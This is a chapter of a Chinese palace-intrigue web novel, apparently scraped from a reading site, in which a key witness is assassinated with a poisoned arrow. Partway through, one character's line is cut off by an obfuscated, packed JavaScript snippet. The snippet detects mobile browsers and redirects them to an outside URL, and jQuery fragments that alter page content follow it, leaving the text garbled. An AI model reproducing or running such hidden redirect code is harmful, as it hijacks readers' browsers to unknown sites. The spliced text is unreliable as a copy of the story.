默认冷灰
24号文字
方正启体

19. 刺杀成功

作者:甜心睡不醒本书字数:K更新时间:
    行刺者表面刺杀公主,但其实朝乐公主府典军及唐熙宁手下侍卫已将銮驾团团围住,任凭他们身手再好,也绝无可能冲破保护屏障。


    众人全力保护公主时,大理寺捕手押着贾和退到一旁,便给了行刺者可乘之机,此刻要杀只有几人保护的贾和简直探囊取物。


    周围厮杀声震天响,唐熙宁根本不确定有没有人听到她方才的话,她期望有人听到保护贾和,又怕有人听到破坏她欲在人前营造的呆头呆脑。


    好在李怀霄离她很近,听到了她的话,他朝应雁蘅疾声大呼:“少卿,他们真正要杀的是贾和。”


    “了然。”


    应雁蘅听到后急速撤出守护公主的包围圈,他快步朝贾和奔去,只见三四个行刺者已然提刀冲到贾和面前,应雁蘅来不及过去,只能高呼提醒捕手:“保护贾和!”


    “得令!”


    押着贾和的两个捕手分工明确,一位拎剑与行刺者们打斗,另外一位则将贾和拉到安全地带,与他寸步不离,既是保护也是押解。


    行刺者目标在贾和,根本不恋战,见贾和捂着肚子蜷缩在侧,他们便分头行动,一组拖住捕手,另外一组提刀朝贾和砍去。


    应雁蘅见时机不妙直接将剑扔去,剑身堪堪擦过刀刃,抵住行刺者的用力一击,才救下贾和。


    应雁蘅从袖口中取出短刃朝行刺者手腕割去,在他分神痛嘶时,一拳打在他心口,这拳力道十足,直接将他击得后退几步。


    应雁蘅一记侧踹腿将他踹倒在地,飞身接过一侧捕手扔回的长剑,他手持长剑架在行刺者脖间,居高临下开口:“何人派你们来此行刺,是贾和的同伙,要杀他灭口?还是贾和的仇人,要杀他报仇?”


    只见行刺者嘴唇微动,他暗道不好俯身阻止,行刺者已然咬碎牙后藏的剧毒自尽。


    应雁蘅心中气愤,他轻啧一声,抬腿将行刺者踹飞,低声骂道:“替人卖命的蠢货。”


    公主府典军骁勇,此时已彻底将行刺者剿灭,只是行刺者皆为死士,纵使有心留下几条人命问话,也无人存活。


    唐熙宁见危险解除便远远望向贾和,见他无事心里稍安。有人要杀贾和灭口,那便更证明她父亲是被人诬陷,贾和与她父亲之案联系密切,只要贾和愿说,定可找出线索,亦可顺藤摸瓜找到害她父亲的其他人。


    贾和虽未被灭口,可他先前被应雁蘅割断手腕筋脉,方才又被人一脚踹在心肺,此刻疼得嘴唇发白满头大汗,唐熙宁还真怕他撑不下去。


    趁众人收拾残局时,她下马车走去,佯装赞叹应雁蘅,实则暗中观察贾和情况:“好在少卿反应迅速,才未让奸人得逞,只是他们皆为死士,怕是问不出背后之人。”


    应雁蘅微微摇头,他仰头望向站在一侧的李怀霄:“多亏驸马及时提醒,否则贾和可能真的会被灭口。”


    李怀霄颇通为官之道,他抿唇一笑推辞道:“那是因为李某并无武艺,只能在公主面前挡一挡,这才看得清情形。若无少卿及时出手,恐怕贾和性命垂危。迟则生变,速将贾和押送回京方能安心。”


    李怀霄这话其实是在为唐熙宁打掩护,她目前最好扮猪吃虎,太过聪明反而会招人忌惮,李怀霄便主动揽下认清情形的提醒,并未说最初是唐熙宁所提。


    应雁蘅向来高傲,听闻此话也未再推辞功劳,他挥手示意重整人马即刻离开,只是在众人庆幸罪犯安然无恙时。


    突然传来一道凌空箭矢声,飞箭直直往贾和方向射去,事情发生的太过迅速,众人均未反应过来。


    唐熙宁离贾和最近,她意识到后,顾不上贾和伤势多重,直接一脚将他踢远,只是自己却暴露在箭矢射程之内。


    箭矢直直射来,已经到了避无可避的程度,她做好被刺中的最坏打算,可转瞬之间手腕被一张温热大手紧紧攥住。


    唐熙宁只觉天旋地转,等她落地时整个人都缩在李怀霄身后,被他高大身形牢牢挡住。


    如此熟悉的保护方式,她眼前不由自主浮现出阿衡的身影,多年前她在敌国为质被人追杀时,阿衡也是这般将她护于身后。


    那时阿衡是个少年,他的身形并不足以完全遮挡住唐熙宁。眼前人长身鹤立身姿挺拔,自是能完全将她挡住。


    别想阿衡了……眼下情况危急,唐熙宁微微摇头,将过往记忆封存心间。


    箭矢嗖地落在一旁,谁都没有刺中。所有人进入防御姿态,转瞬密密麻麻的箭矢从丛林深处飞来,既要保护自己又要护着两位公主,众人已然应接不暇,无人有空再管瘫倒在地的贾和。


    应雁蘅身为大理寺少卿自当守卫,他有心护着,但箭矢数量太多,贾和右胸依然被刺。行刺之人并无取他人性命之意,得手后便停下攻势离开。


    众人怕再有箭矢,依旧做出防御姿态,应雁蘅见无人去追,提剑怒道:“快去追,要活的!”


    捕手们这才回神,齐齐奔向丛林抓人。


    贾和虽只右胸被刺,但箭上涂有剧毒,他已然口吐黑血气息全无。


    找到的线索转瞬胎死腹中,唐熙宁一时气急,难以置信地晃着贾和,可他已死再不能回应。


    唐熙宁看着口吐黑血的贾和,只觉怒从心来,她周身被怒气悲意所充斥,脸色显得极为难看。她紧紧握拳,力道大到指甲深陷进手心。


    “放肆,简直放肆。竟敢在本公主面前行凶,置我景国威严、朝廷律法于何地?”


    其实按唐熙宁的身份,发火也在情理之中,只是她情急之下怒火攻心,反应过于激烈,众人被她周身萦绕的威压呵住,可她依旧未反应过来。


    她气的身体发抖,恨自己判断失误,以为护住贾和便沾沾自喜。结果对方一招连环计,一个试探先行队便将她唬住。


    她胸口剧烈起伏,情绪难以发泄时,手腕突然被李怀霄攥住,那张大手很温暖,握着她的力道不轻不重。


    李怀霄屈起手指,慢慢滑向唐熙宁手心,他轻轻点着,既是控制,又是提醒,也是安抚。控制她周身的威压,提醒她此刻的失态,安抚她悲愤的情绪。


    唐熙宁冷静下来才觉周围气氛死寂,旁人不懂为何死一个对她来说八竿子打不着的御史,她会如此生气,都眼观鼻鼻观心不语。


    唐熙宁恍然意识到失态,她心中气恼面上还得装作无事,收敛情绪为自己找补:“行凶之人实在可恶,当着朝廷命官及公主之面公然行刺,实将律法视若草芥,不仅本公主容不下他们,在场众人乃至百姓皆容不下他们。”


    此言虽令气氛缓和不少但依旧沉闷,好在应雁蘅方才派去追查的捕手返回,他们不知方才发生何事,返回后便高声回应少卿,打破了诡异气氛。


    “少卿,行刺者


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17038033|194665||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    皆为死士,兄弟们赶到时,他们全都自尽而亡。”


    眼下已然如此,人死不能复生,往事亦随之埋于黄土,或许永世都不得重见天日。


    应雁蘅办案多年早已习惯,便显得镇静许多,他指挥众人:“追查到底!贾和及行刺者尸体抬回大理寺,证人亦带回补充证据。”


    “二位公主,本官先行一步。”


    唐熙宁并无心情回应,只微微点头,朝乐公主经历方才场景早已吓得魂魄出体,顾不上旁人。


    唐熙宁只觉功亏一篑,暗自伤神。原本轻轻握着她的手已然悄无声息移开,可肩上却猛地一沉,她侧过头时发现靠在她肩窝上的李怀霄唇瓣微微发紫。


    显然是中毒征兆,她低头去瞧,只见李怀霄手臂上的衣袖被勾破,应是被箭矢擦伤了。


    她方才只顾着贾和被箭矢射杀,却全然未察觉李怀霄亦被擦伤,可他自己中箭总不会毫无感知,为何不出言提醒?


    不过此时并非想此事的时机,她轻拍李怀霄脸颊:“李怀霄,醒醒,还撑得住吗?”


    李怀霄唇瓣轻启,灼热呼吸皆喷洒在与她相贴的脖颈处:“撑,撑得……住。”


    “此次出行只是玩乐且距京城不远,故而未配备随行太医,我不通药理,亦无法辨别此毒,只能将你送回城,你尽可能保持清醒,或者同我讲话。”


    “好。”


    唐熙宁扬手唤来几名侍卫合力抬李怀霄上马车,她怕李怀霄睡着便时刻陪同,只是一时倒无话可说。


    她正欲说些什么引起李怀霄注意,让他不要闭眼入睡,可她还未开口,便见李怀霄微张唇瓣虚弱地说着什么。


    他的声音压得很低,唐熙宁根本无法听清,只能俯身侧耳倾听。


    “公主借刀杀人之计真妙,借清音阁对垒让贾和心焦如火,勾出他出城寻佳人之心;借朝乐公主引贾和出城;借大理寺少卿之手抓捕贾和;借春十娘、水姑娘、拐卖女子之手定罪贾和;再借朝乐公主之口告知皇帝,让贾和无可翻供。”


    可惜贾和已死……唐熙宁听后只觉悲愤,但顾念着李怀霄,并未将内心所想言明,只是补充道:“你说这许多,却唯独忘却自己,你亦是我的棋子。若无你,朝乐公主便不会出城,更无后来之事。”


    李怀霄勾唇浅笑:“不一样,旁人或多或少是被公主利用,是否真心不得而知,唯一确定的是……我是甘愿成为公主棋子之人。”


    李怀霄声音愈来愈小,唐熙宁想听清只能贴在他唇边,灼热话语字字句句往她耳中钻,他温热的唇瓣又总若有似无擦过她的耳朵。


    唐熙宁只觉耳尖发热,她猛然抬头轻咳几声,顾左右而言他:“我虽为执棋之人,可亦是他人棋子。在我们前往回春阁寻药时,便被柏时席老先生算计,他与水镜慈同门,自然知晓她身世。”


    “还记得我们被水姑娘请去房中小坐那日吗?当时书案有封信,我认得信上字迹,那便出自柏时席老先生之手,说来不耻,后来我偷偷看过信件,正是柏时席老先生故意为之,目的便是让我们为他师妹清除仇人。”


    唐熙宁解释时并未走心,因为她突然忆起一事,当时箭矢射来时情况虽紧急危险,可按箭矢射程,李怀霄在拉过她之后,是完全不可能被擦伤的。


    那他为何受伤?总不至于主动伸手去迎箭矢吧,毫无道理可言。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)